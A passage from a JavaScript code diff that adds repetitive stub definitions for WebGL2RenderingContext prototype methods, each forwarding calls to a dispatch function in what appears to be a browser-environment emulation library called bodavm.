"getShaderPrecisionFormat", { + configurable: true, + enumerable: true, + writable: true, + value: function getShaderPrecisionFormat() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getShaderPrecisionFormat", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getShaderSource", { + configurable: true, + enumerable: true, + writable: true, + value: function getShaderSource() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getShaderSource", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getSupportedExtensions", { + configurable: true, + enumerable: true, + writable: true, + value: function getSupportedExtensions() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getSupportedExtensions", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getSyncParameter", { + configurable: true, + enumerable: true, + writable: true, + value: function getSyncParameter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getSyncParameter", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getTexParameter", { + configurable: true, + enumerable: true, + writable: true, + value: function getTexParameter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getTexParameter", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getTransformFeedbackVarying", { + configurable: true, + enumerable: true, + writable: true, + value: function getTransformFeedbackVarying() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getTransformFeedbackVarying", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getUniform", { + configurable: true, + enumerable: true, + writable: true, + value: function getUniform() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getUniform", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getUniformBlockIndex", { + configurable: true, + enumerable: true, + writable: true, + value: function getUniformBlockIndex() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getUniformBlockIndex", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getUniformIndices", { + configurable: true, + enumerable: true, + writable: true, + value: function getUniformIndices() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getUniformIndices", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getUniformLocation", { + configurable: true, + enumerable: true, + writable: true, + value: function getUniformLocation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getUniformLocation", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getVertexAttrib", { + configurable: true, + enumerable: true, + writable: true, + value: function getVertexAttrib() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getVertexAttrib", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getVertexAttribOffset", { + configurable: true, + enumerable: true, + writable: true, + value: function getVertexAttribOffset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getVertexAttribOffset", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "hint", { + configurable: true, + enumerable: true, + writable: true, + value: function hint() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "hint", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "invalidateFramebuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function invalidateFramebuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "invalidateFramebuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "invalidateSubFramebuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function invalidateSubFramebuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "invalidateSubFramebuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "isBuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function isBuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "isBuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "isContextLost", { + configurable: true, + enumerable: true, + writable: true, + value: function isContextLost() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "isContextLost", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "isEnabled", { + configurable: true, + enumerable: true, + writable: true, + value: function isEnabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "isEnabled", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "isFramebuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function isFramebuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "isFramebuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "isProgram", { + configurable: true, + enumerable: true, + writable: true, + value: function isProgram() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "isProgram", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "isQuery", { + configurable: true, + enumerable: true, + writable: true, + value: function isQuery() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "isQuery", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "isRenderbuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function isRenderbuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "isRenderbuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "isSampler", { + configurable: true, + enumerable: true, + writable: true, + value: function isSampler() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "isSampler", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "isShader", { + configurable: true, + enumerable: true, + writable: true, + value: function isShader() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "isShader", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "isSync", { + configurable: true, + enumerable: true, + writable: true, + value: function isSync() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "isSync", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "isTexture", { + configurable: true, + enumerable: true, + writable: true, + value: function isTexture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "isTexture", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "isTransformFeedback", { + configurable: true, + enumerable: true, + writable: true, + value: function isTransformFeedback() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "isTransformFeedback", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "isVertexArray", { + configurable: true, + enumerable: true, + writable: true, + value: function isVertexArray() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "isVertexArray", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "lineWidth", { + configurable: true, + enumerable: true, + writable: true, + value: function lineWidth() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "lineWidth", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "linkProgram", { + configurable: true, + enumerable: true, + writable: true, + value: function linkProgram() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "linkProgram", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "pauseTransformFeedback", { + configurable: true, + enumerable: true, + writable: true, + value: function pauseTransformFeedback() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "pauseTransformFeedback", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "pixelStorei", { + configurable: true, + enumerable: true, + writable: true, + value: function pixelStorei() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "pixelStorei", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "polygonOffset", { + configurable: true, + enumerable: true, + writable: true, + value: function polygonOffset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "polygonOffset", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "readBuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function readBuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "readBuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "readPixels", { + configurable: true, + enumerable: true, + writable: true, + value: function readPixels() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "readPixels", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "renderbufferStorage", { + configurable: true, + enumerable: true, + writable: true, + value: function renderbufferStorage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "renderbufferStorage", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "renderbufferStorageMultisample", { + configurable: true, + enumerable: true, + writable: true, + value: function renderbufferStorageMultisample() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "renderbufferStorageMultisample", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "resumeTransformFeedback", { + configurable: true, + enumerable: true, + writable: true, + value: function resumeTransformFeedback() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "resumeTransformFeedback", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "sampleCoverage", { + configurable: true, + enumerable: true, + writable: true, + value: function sampleCoverage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "sampleCoverage", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "samplerParameterf", { + configurable: true, + enumerable: true, + writable: true, + value: function samplerParameterf() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "samplerParameterf", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "samplerParameteri", { + configurable: true, + enumerable: true, + writable: true, + value: function samplerParameteri() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "samplerParameteri", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "shaderSource", { + configurable: true, + enumerable: true, + writable: true, + value: function shaderSource() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "shaderSource", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "stencilFunc", { + configurable: true, + enumerable: true, + writable: true, + value: function stencilFunc() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "stencilFunc", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "stencilFuncSeparate", { + configurable: true, + enumerable: true, + writable: true, + value: function stencilFuncSeparate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "stencilFuncSeparate", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "stencilMask", { + configurable: true, + enumerable: true, + writable: true, + value: function stencilMask() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "stencilMask", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "stencilMaskSeparate", { + configurable: true, + enumerable: true, + writable: true, + value: function stencilMaskSeparate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "stencilMaskSeparate", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "stencilOp", { + configurable: true, + enumerable: true, + writable: true, + value: function stencilOp() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "stencilOp", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "stencilOpSeparate", { + configurable: true, + enumerable: true, + writable: true, + value: function stencilOpSeparate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "stencilOpSeparate", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "texImage2D", { + configurable: true, + enumerable: true, + writable: true, + value: function texImage2D() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "texImage2D", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "texImage3D", { + configurable: true, + enumerable: true, + writable: true, + value: function texImage3D() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "texImage3D", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "texParameterf", { + configurable: true, + enumerable: true, + writable: true, + value: function texParameterf() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "texParameterf", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "texParameteri", { + configurable: true, + enumerable: true, + writable: true, + value: function texParameteri() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "texParameteri", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "texStorage2D", { + configurable: true, + enumerable: true, + writable: true, + value: function texStorage2D() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "texStorage2D", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "texStorage3D", { + configurable: true, + enumerable: true, + writable: true, + value: function texStorage3D() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "texStorage3D", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "texSubImage2D", { + configurable: true, + enumerable: true, + writable: true, + value: function texSubImage2D() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "texSubImage2D", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "texSubImage3D", { + configurable: true, + enumerable: true, + writable: true, + value: function texSubImage3D() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "texSubImage3D", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "transformFeedbackVaryings", { + configurable: true, + enumerable: true, + writable: true, + value: function transformFeedbackVaryings() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "transformFeedbackVaryings", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform1ui", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform1ui() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform1ui", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform2ui", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform2ui() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform2ui", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform3ui", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform3ui() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform3ui", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform4ui", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform4ui() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform4ui", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniformBlockBinding", { + configurable: true, + enumerable: true, + writable: true, + value: function uniformBlockBinding() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniformBlockBinding", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "useProgram", { + configurable: true, + enumerable: true, + writable: true, + value: function useProgram() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "useProgram", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "validateProgram", { + configurable: true, + enumerable: true, + writable: true, + value: function validateProgram() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "validateProgram", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "vertexAttribDivisor", { + configurable: true, + enumerable: true, + writable: true, + value: function vertexAttribDivisor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "vertexAttribDivisor", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "vertexAttribI4i", { + configurable: true, + enumerable: true, + writable: true, + value: function vertexAttribI4i() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "vertexAttribI4i", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "vertexAttribI4ui", { + configurable: true, + enumerable: true, + writable: true, + value: function vertexAttribI4ui() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "vertexAttribI4ui", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "vertexAttribIPointer", { + configurable: true, + enumerable: true, + writable: true, + value: function vertexAttribIPointer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "vertexAttribIPointer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "waitSync", { + configurable: true, + enumerable: true, + writable: true, + value: function waitSync() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "waitSync", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "bindBuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function bindBuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "bindBuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "bindFramebuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function bindFramebuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "bindFramebuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "bindTexture", { + configurable: true, + enumerable: true, + writable: true, + value: function bindTexture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "bindTexture", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "clear", { + configurable: true, + enumerable: true, + writable: true, + value: function clear() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "clear", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "clearBufferfi", { + configurable: true, + enumerable: true, + writable: true, + value: function clearBufferfi() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "clearBufferfi", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "clearBufferfv", { + configurable: true, + enumerable: true, + writable: true, + value: function clearBufferfv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "clearBufferfv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "clearBufferiv", { + configurable: true, + enumerable: true, + writable: true, + value: function clearBufferiv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "clearBufferiv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "clearBufferuiv", { + configurable: true, + enumerable: true, + writable: true, + value: function clearBufferuiv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "clearBufferuiv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "clearColor", { + configurable: true, + enumerable: true, + writable: true, + value: function clearColor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "clearColor", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "clearDepth", { + configurable: true, + enumerable: true, + writable: true, + value: function clearDepth() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "clearDepth", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "clearStencil", { + configurable: true, + enumerable: true, + writable: true, + value: function clearStencil() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "clearStencil", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "colorMask", { + configurable: true, + enumerable: true, + writable: true, + value: function colorMask() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "colorMask", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "disableVertexAttribArray", { + configurable: true, + enumerable: true, + writable: true, + value: function disableVertexAttribArray() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "disableVertexAttribArray", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "drawArrays", { + configurable: true, + enumerable: true, + writable: true, + value: function drawArrays() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "drawArrays", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "drawBuffers", { + configurable: true, + enumerable: true, + writable: true, + value: function drawBuffers() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "drawBuffers", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "drawElements", { + configurable: true, + enumerable: true, + writable: true, + value: function drawElements() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "drawElements", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "enableVertexAttribArray", { + configurable: true, + enumerable: true, + writable: true, + value: function enableVertexAttribArray() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "enableVertexAttribArray", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "scissor", { + configurable: true, + enumerable: true, + writable: true, + value: function scissor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "scissor", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform1f", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform1f() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform1f", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform1fv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform1fv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform1fv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform1i", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform1i() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform1i", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform1iv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform1iv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform1iv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform1uiv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform1uiv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform1uiv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform2f", { + configurable: true, + enumerable: 